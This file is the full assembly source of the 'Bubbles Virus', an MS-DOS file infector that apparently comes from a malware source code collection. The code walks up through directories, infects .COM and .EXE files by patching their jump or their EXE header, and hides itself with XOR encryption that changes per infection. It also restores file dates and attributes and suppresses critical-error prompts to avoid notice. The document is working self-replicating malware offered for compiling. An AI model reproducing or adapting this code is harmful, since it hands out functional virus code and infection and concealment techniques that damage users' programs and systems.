MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bubbles.asm
2021-01-12 17:38:47 -06:00

376 lines
15 KiB
NASM

;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
nop
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
nop
nop
call encrypt_decrypt ; Decrypt the virus first
encrypt_start equ $ ; From here is encrypted
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for our encryption value
int 21h
cmp dh,0 ; If its seconds are zere get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
encrypt_infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
move_begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
encrypt_end equ $ ; Marks the end of encryption
encrypt_decrypt:
lea bx,[bp+encrypt_start] ; Where to start encryption
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
mov dh,[bp+enc_value] ; Value to use for encryption
encrypt_loop:
mov ah,cs:[bx] ; Get a byte in ah
xor ah,dh ; Xor it
mov cs:[bx],ah ; Put it back
inc bx ; Move to next byte and loop
loop encrypt_loop
ret
enc_value db 00h ; Hold the encryption value 00 for nul effect
eof equ $ ; Marks the end of file
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start